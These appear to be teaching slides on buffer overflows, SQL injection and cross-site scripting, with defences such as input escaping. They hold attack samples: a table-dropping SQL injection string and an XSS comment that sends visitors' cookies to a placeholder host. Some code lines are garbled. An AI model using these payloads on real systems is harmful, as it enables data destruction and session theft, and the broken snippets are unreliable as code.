

## Overview

- Introduction
- Buffer Overflow
- SQL Injection
- Cross-Site Scripting



Source: SearchsoftwareQuality.techtarget.com

## Introduction

- Some of the most common and widely exploited software vulnerabilities are variants of:
  - Buffer Overflow
  - SQL Injection
  - Cross-Site Scripting
  
- Best countermeasure
  - Awareness, smart programming – not allowing them to occur at all
  
- These flaws typically occur as a consequence of insufficient checking and validation of data and error codes in programs

## Introduction

- Software quality and reliability is concerned with the **accidental failure of a program** as a result of some theoretically random, **unanticipated input** or system interaction
- Solution - **testing**. This usually involves variations of **likely inputs** and **common errors**, with the intent of minimizing the number of bugs that would be seen in general use
- BUT – the problem is not really the total number of bugs, but how often even one is triggered
- Input
  - keyboard/ mouse entry
  - files
  - network connections
  - data supplied to the program in the execution environment
  - values supplied by an O/S to the program

## Buffer Overflow/ Buffer Overrun

- caused as a result of a programming error
- allows more data to be stored than capacity available in a fixed sized buffer
  - buffer can be on stack, heap, global data
- examples of consequences of overwriting adjacent memory locations:
  - corruption of program data
  - unexpected transfer of control
  - memory access violation
  - execution of code chosen by attacker

## Buffer Overflow Basics

- impact of buffer overflow problem has been felt since 1988 when the Morris worm attack was carried out
- still a problem due to both a legacy of buggy code in widely deployed operating systems and applications – and programs that do not anticipate a certain type of faulty/ malicious input

1988	the Morris worm
2001	the Code Red worm exploits a buffer overflow in MS IIS 5.0
2003	the Slammer worm exploits a buffer overflow in MS SQL Server 2000
2004	the Sasser worm exploits a buffer overflow in MS Windows
2007	
2009	

## Buffer Overflow Example

- consider this code fragment in (a)
- 3 variables
- assume they are saved in adjacent memory locations (from highest to lowest)
- str1(START)
- problem: the gets( ) function (from the traditional C library) does not include any checking on the amount of data copies. It will read the next line from the program's standard input until the first new line

(a)

```
int main(int argc, char *argv[]) {
    int valid = FALSE;
    char str1[8];
    char str2[8];

    next tag(str1);
    gets(str2);
    if (strncmp(str1, str2, 8) == 0)
        valid = TRUE;
    printf("buffer1: str1(%s), str2(%s),
           valid(%d)\n", str1, str2, valid);
}
```

```
$ cc -g -o buffer1 buffer1.c
$ ./buffer1
START
buffer1: str1(START), str2(START), valid(1)
$ ./buffer1
EVILINPUTVALUE
buffer1: str1(TVALUE),
str2(EVILINPUTVALUE), valid(0)
$ ./buffer1
BADINPUTBADINPUT
buffer1: str1(BADINPUT),
str2(BADINPUTBADINPUT), valid(1)
```

(b)

## Buffer Overflow

- At the basic machine level, all of the data manipulated by machine instructions are stored in either the processor's registers or in memory.
- The data are simply arrays of bytes. Their interpretation is entirely determined by the function of the instructions accessing them.
- Modern high-level programming languages like Java, ADA, Python, and many others, have a very strong notion of the **type of variables, and what constitutes permissible operations** on them – thus they do not suffer from buffer overflows.
- But this flexibility and safety comes at a **cost in resource** use, both at compile time, and in additional code that must be executed at run-time to **impose checks such as that on buffer limits**.

## Buffer Overflow

- to exploit a buffer overflow an attacker:
  - must identify a buffer overflow vulnerability in some program
  - understand how buffer is stored in memory and determine potential for corruption
  
- defend by preventing or at least detecting and aborting such attacks:
  - **test a wider range of inputs**
  
  - **use dynamically sized buffers**
  
  - **compile time defense** – aiming to harden programs to resist attacks in **new** programs
    - choosing appropriate programming language
    - including additional code that may catch/detect corruption
  
  - **run-time defense** – aiming to detect and abort attacks in **existing** programs
    - alter properties of regions of memory
    - make predicting the location of targeted buffers sufficiently difficult to thwart many types of attacks

## SQL Injection Attacks

- Injection attacks
  - flaws relating to invalid input handling which then influences program execution
    - often when passed as a parameter to a helper program or other utility or subsystem
  - most often occurs in scripting languages (perl, PHP, python etc.)
- SQL Injection: most widely exploited injection attack

## SQL Injection Example

```
$name = $ REQUEST['name'];  
$query = "SELECT * FROM suppliers WHERE name = '" . $name . "'";  
$result = mysql_query($query);
```

- This takes a name provided as input to the script, typically from a form field.
- It then uses this value to construct a request to retrieve the records relating to that name from the database
- If a suitable name is provided, for example “Peter”, then the code works as intended, retrieving the desired record
- However an input such as “Peter’ drop table suppliers --“ results in the specified record being retrieved, followed by deletion of the entire table!
- This would have rather unfortunate consequences for subsequent users

## SQL injection Example

- when input is used in SQL query to database
  - SQL metacharacters are the concern
  - must check and validate input for metacharacters
    - metacharacter: a character that has a special meaning (instead of a literal meaning) to a computer program [ ' | , ' & ' , '\*' ' : ' ... ]
  
- Any metacharacters must either be “escaped”, canceling their effect, or the input rejected entirely.

```
$name = $ REQUEST['name'];  
$query = "SELECT * FROM suppliers WHERE name = '"  
        mysql_real_escape_string($name) . "'";  
$result = mysql query($query);
```

## Cross-Site Scripting (XSS)

- Especially relevant in the age of widespread use of “guestbook” programs:
  - wikis, and blogs, social networking
    - which all allow users accessing the site to leave comments
      - which are subsequently viewed by other users.
  
- Unless the contents of these comments are checked, and any dangerous code removed, an attack is inevitable

## XSS

```
Thanks for this information, its great!  
<script>document.location='http://hacker.web.site/cookie.cgi?'+  
document.cookie</script>
```

- If this text were saved by a guestbook application, then when viewed by others, it will display a little text and also **then execute the Javascript code**
- Many sites require users to register before using features like a guestbook application. With this attack, a **user's (anyone who views the comment) cookie is supplied to the attacker**, who could then use it to impersonate the user on the original site
- This example obviously replaces the page content being viewed with whatever the attacker's script returns. But by using more sophisticated Javascript code, it is possible for the script to execute with very little visible effect... that's scary stuff

## Common XSS Example (Email)

1. Peter often visits an informative website hosted by Mike
2. Mike's website enables Peter to log in (username/password) and store sensitive information, such as credit card, bank accounts etc.
3. Adam devises a plan to exploit any possible vulnerability – he creates an URL and sends Peter a nice email, enticing him to click on a link for this URL under false pretenses
4. Peter is trusting and visits the URL provided by Adam while logged into Mike's website
5. The malicious script embedded in Adam's URL executes in Mike's browser, as if it came directly from Mike's server – what's bad about this?
6. Adam can then use the session cookie to steal sensitive information available to Peter (authentication credentials, cc and banking info, etc) without Peter's knowledge
7. The script can also be used to send Mike's session cookie to Adam

## Common XSS Example (Social Networking)

- Adam posts a message with malicious payload to FB
- When Pasan reads the message, Adam's XSS steals Pasan's cookie
- Adam can now hijack Pasan's session and impersonate him
- Why is this scenario even more dangerous?

## Defenses Against XSS

[Cross-Scripting Cheat Sheet](#)<http://ha.ckers.org/xss.html>